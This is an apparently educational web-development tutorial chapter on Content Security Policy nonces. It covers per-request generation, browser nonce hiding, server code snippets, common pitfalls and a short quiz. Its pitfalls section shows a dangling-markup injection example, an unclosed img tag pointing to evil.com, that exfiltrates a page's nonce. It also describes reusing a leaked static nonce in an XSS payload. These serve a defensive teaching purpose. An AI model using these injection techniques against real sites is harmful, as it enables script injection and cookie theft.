Chapter 66: Content Security Policy (CSP)

Cryptographic Nonces in CSP

Per-request cryptographic tokens, CSPRNG entropy requirements, server-side template injection, DOM nonce-hiding mechanics, and nonce reuse prevention.

LEARNING OBJECTIVES
  • Understand the definition and cryptographic purpose of a Nonce (Number used ONCE) in CSP Level 2 and Level 3.
  • Generate cryptographically secure random nonces on the server using CSPRNG APIs (Node.js crypto, Web Crypto API).
  • Master the browser's DOM nonce-hiding mechanism: why element.getAttribute('nonce') is emptied while element.nonce property persists.
  • Prevent critical nonce leakage vulnerabilities, including static nonce reuse, CDN caching collisions, and dangling markup injection.
🎬 INTERACTIVE VISUAL PIPELINE Core Architecture Simulation
🌐
1. Input
Directives & Tags
⚙️
2. Parse
Tokenizer & AST
🌳
3. Layout
Box Model & Flow
🎨
4. Render
GPU Paint & Composite
PHASE 1: INPUT & DIRECTIVES
Browser receives declarative markup stream, parsing tag tokens and initializing component state.

📖 The Mental Model & Story (Intuitive Foundation)

Imagine an exclusive VIP gala with armed security at every door.

In the old days (CSP Level 1 domain allowlisting), the guard held a list of approved organizations: "Anyone claiming to work for Google or Acme Corp may enter." But attackers quickly realized they could forge employee badges or hire corrupt messengers from within those allowed organizations (CDN script gadgets, JSONP endpoints) to sneak weapons past security.

OLD MODEL (Domain Allowlists):
Guard: "Are you from https://cdnjs.cloudflare.com?"
Attacker: "Yes, and I brought an outdated AngularJS 1.2 library that executes eval() for me!"
Guard: "Welcome in!" ===> 🚨 BREACH

NONCE MODEL (One-Time Cryptographic Passcode):
Server (Generates fresh random code at 02:30:01.104 AM): "Today's one-time badge is 'r4nd0m-98a76f'"
Server injects badge into HTTP Header AND legitimate <script nonce="r4nd0m-98a76f">

Guard: "Show me today's one-time badge."
Injected Attacker Script: "<script>stealCookies()</script>" (Lacks the random code)
Guard: "No badge found. ACCESS DENIED & EXECUTION KILLED."

With Cryptographic Nonces, the server generates a brand new, unpredictable, cryptographically random string for every single HTTP request. The server delivers this nonce in the Content-Security-Policy header and injects the identical nonce into authorized <script nonce="..."> tags.

An attacker attempting an XSS injection cannot guess the nonce for that specific HTTP response because:

  1. The nonce is generated milliseconds before the page is transmitted.
  2. It contains 128+ bits of cryptographic entropy.
  3. It expires the moment the page request completes.

Technical Deep Dive & Specifications

1. Specification Requirements for CSP Nonces (W3C CSP Level 3)

According to Section 7.2 of the W3C Content Security Policy Level 3 specification:

  1. Uniqueness: A nonce must be generated per HTTP request. A static or hardcoded nonce is completely ineffective.
  2. Entropy: The nonce must be generated using a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG). It must have at least 128 bits of entropy (16 random bytes), typically encoded as a Base64 string (yielding 24 characters).
  3. Format: The header declares 'nonce-BASE64_VALUE', and the HTML element specifies nonce="BASE64_VALUE".
SERVER (Per HTTP Request):
  1. Generate 16 random bytes: 0x4f, 0x8a, 0x12, 0xd3, 0x9b, ...
  2. Base64 Encode: "T4oS05s...=="
  3. Emit HTTP Header: Content-Security-Policy: script-src 'nonce-T4oS05s...=='
  4. Render HTML Document: <script nonce="T4oS05s...==">bootstrapApp();</script>

BROWSER RENDERING ENGINE:
  1. Parser reads CSP Header: Expected nonce = "T4oS05s...=="
  2. Parser encounters <script nonce="T4oS05s...==">
  3. Compare Nonce String: "T4oS05s...==" === "T4oS05s...=="  ===> MATCH!
  4. Script is compiled and executed.

2. The DOM Nonce-Hiding Security Mechanism

A critical security innovation in modern browser engines (Blink, Gecko, WebKit) is DOM Nonce Hiding.

If an attacker achieves partial script execution (or CSS injection), they might try to read the nonce of an existing legitimate script using document.querySelector('script').getAttribute('nonce') to attach it to their injected script.

To prevent this, the browser engine executes a security wipe immediately upon parsing:

  • The nonce attribute is removed from the DOM content attribute map (or returns an empty string "" when queried via getAttribute('nonce')).
  • The nonce value is transferred to an internal C++ slot accessible only via the IDL property HTMLScriptElement.prototype.nonce.
  • The nonce is not visible in element.outerHTML serializations.
+-----------------------------------------------------------------------------------------------+
|                               DOM NONCE-HIDING MECHANISM                                      |
+-----------------------------------------------------------------------------------------------+
| HTML on Wire:         <script id="my-script" nonce="dGhpcy1pcy1hLW5vbmNl">...</script>        |
|                                                                                               |
| Browser Evaluation:                                                                           |
| 1. el.getAttribute('nonce')  ===> "" (EMPTY STRING - Hidden from CSS/DOM scanners!)           |
| 2. el.outerHTML              ===> "<script id="my-script">...</script>" (Attribute Hidden!)   |
| 3. el.nonce                  ===> "dGhpcy1pcy1hLW5vbmNl" (Accessible only via JS object)     |
+-----------------------------------------------------------------------------------------------+

3. Server-Side Nonce Generation Matrix

Backend Runtime / Framework Implementation Pattern
Node.js (Native Crypto) const nonce = crypto.randomBytes(16).toString('base64');
Node.js (Express Helmet) helmet({ contentSecurityPolicy: { directives: { scriptSrc: ["'self'", (req, res) => 'nonce-${res.locals.cspNonce}'] } } })
Next.js (App Router Middleware) const nonce = Buffer.from(crypto.randomUUID()).toString('base64'); injected via request headers
Python (Django / Flask) import secrets; nonce = secrets.token_urlsafe(16)
Go (crypto/rand) bytes := make([]byte, 16); rand.Read(bytes); nonce := base64.StdEncoding.EncodeToString(bytes)

💻 Interactive Code Playground

Starter Code

Below is a full interactive simulation demonstrating how a server generates a dynamic nonce per request, injects it into both the CSP <meta> tag and legitimate <script> blocks, and how un-nonced or forged-nonce scripts are blocked.

Line-by-Line Code Breakdown

  • Lines 8–13: The CSP header registers the active session nonce: 'nonce-kL9zX2mP0qR4wV8y'.
  • Lines 61–74: The legitimate <script id="legit-script" nonce="kL9zX2mP0qR4wV8y"> block contains the matching nonce. The engine verifies the match, compiles the script, and updates the badge.
  • Lines 65–73: The script tests DOM Nonce Hiding:
    • scriptEl.getAttribute('nonce') returns "" because the browser stripped the content attribute for security.
    • scriptEl.nonce retains the active string "kL9zX2mP0qR4wV8y".
  • Lines 77–80: An un-nonced script tag is rejected with a CSP console error.
  • Lines 83–86: A script with a forged nonce (old-stale-nonce-12345) fails the string comparison test and is also rejected.

Expected Browser Render Output

  • The Authorized Script Status displays a green badge: ✅ Executed (Nonce Authenticated).

  • Clicking the Inspect DOM Nonce Properties button outputs:

  • The Browser Console logs two CSP violation errors for the un-nonced and stale-nonced scripts.


SYS: ACTIVE
HULL: 98%
CORE: STABLE
NET: ONLINE
HTML STARSHIP CODE TERMINAL playground.html
LIVE RENDER & DIAGNOSTICS CORE TEMP: 45°C
INSPECTING DOM: VALID
TAGS: SCANNING...
  DOM Nonce Hiding Audit:
  -----------------------------------------
  scriptEl.getAttribute('nonce') === "" (Hidden from DOM/CSS queries!)
  scriptEl.nonce                 === "kL9zX2mP0qR4wV8y" (Available via JS IDL property)
  scriptEl.outerHTML             === "<script id="legit-script">..."

🏋️ Hands-On Exercise

🎯 The Challenge: Build a Node.js Express Middleware with CSP Nonces

You are building an Express.js backend server. You must generate a per-request cryptographically secure nonce using Node's native crypto module, attach it to res.locals, send the Content-Security-Policy header, and inject the nonce into an HTML template.

Requirements:

  1. Generate 16 bytes of random entropy using crypto.randomBytes(16).
  2. Convert the buffer to a Base64 string.
  3. Construct the header: Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-<NONCE>'; object-src 'none'; base-uri 'self'.
  4. Render an HTML response containing <script nonce="<NONCE>">console.log('Secure bootstrap');</script>.

🏁 Starter Code Sandbox

⚠️ Common Pitfalls

  1. Static / Hardcoded Nonces: Writing script-src 'nonce-Secret123' and reusing "Secret123" across requests makes the nonce public knowledge. An attacker simply writes <script nonce="Secret123"> in their XSS payload, completely bypassing CSP.
  2. Caching Pages with Nonces on CDNs: If a reverse proxy or CDN (Cloudflare, Fastly, AWS CloudFront) caches a full HTML document containing a nonce, that cached nonce will be served to thousands of subsequent visitors. An attacker can inspect the cached page, grab the nonce, and inject malicious scripts. Pages containing nonces must specify Cache-Control: no-store or use Edge Workers to rewrite nonces per request.
  3. Dangling Markup Injection: If untrusted user input is reflected into an unclosed HTML attribute before a nonced script (e.g. <img src='http://evil.com/log?), the browser may absorb the intervening markup (including nonce="...") into the attribute, exfiltrating the nonce to the attacker's server.

💡 Pro Tips

  1. Dynamically Created DOM Scripts in CSP L2 vs L3: In CSP Level 2, scripts created via document.createElement('script') required manually assigning script.nonce = currentNonce. In modern CSP Level 3 with 'strict-dynamic', programmatic DOM scripts inherit trust automatically!
  2. Never Expose Nonces in Global Client Variables: Do not write <script nonce="...">window.CSP_NONCE = "abc";</script>. Any untrusted third-party script or library can read window.CSP_NONCE and dynamically generate authorized script tags.

📌 Key Takeaways

  • A CSP Nonce is a single-use, cryptographically random token generated per HTTP response.
  • Nonces require at least 128 bits of entropy generated via a CSPRNG (crypto.randomBytes(16)).
  • The browser implements DOM Nonce Hiding, emptying getAttribute('nonce') to prevent CSS selectors and DOM scrapers from extracting the active token.
  • Nonce-bearing pages must never be cached publicly on CDNs without dynamic edge token replacement.
  • Nonces eliminate the need for brittle domain allowlists by binding trust directly to specific authorized script elements.
  • --
⭐ LEARN: HTML 🌟 ⚔️ QUIZ BATTLE ARENA // ACTIVE
3x
STREAK!
BONUS ACTIVE
COMBO
? Question 1 / 3

What is the minimum recommended cryptographic entropy for a production CSP nonce?

Question 1 / 3 Topic: HTML Fundamentals
00:45 REMAINING
XP REWARD
+250 XP
3x
STREAK!
BONUS ACTIVE
COMBO
? Question 2 / 3

Why does document.querySelector('script').getAttribute('nonce') return an empty string ("") in modern browsers?

Question 2 / 3 Topic: HTML Fundamentals
00:45 REMAINING
XP REWARD
+250 XP
3x
STREAK!
BONUS ACTIVE
COMBO
? Question 3 / 3

What catastrophic security vulnerability occurs if an HTML response containing a CSP nonce is cached by a public CDN?

Question 3 / 3 Topic: HTML Fundamentals
00:45 REMAINING
XP REWARD
+250 XP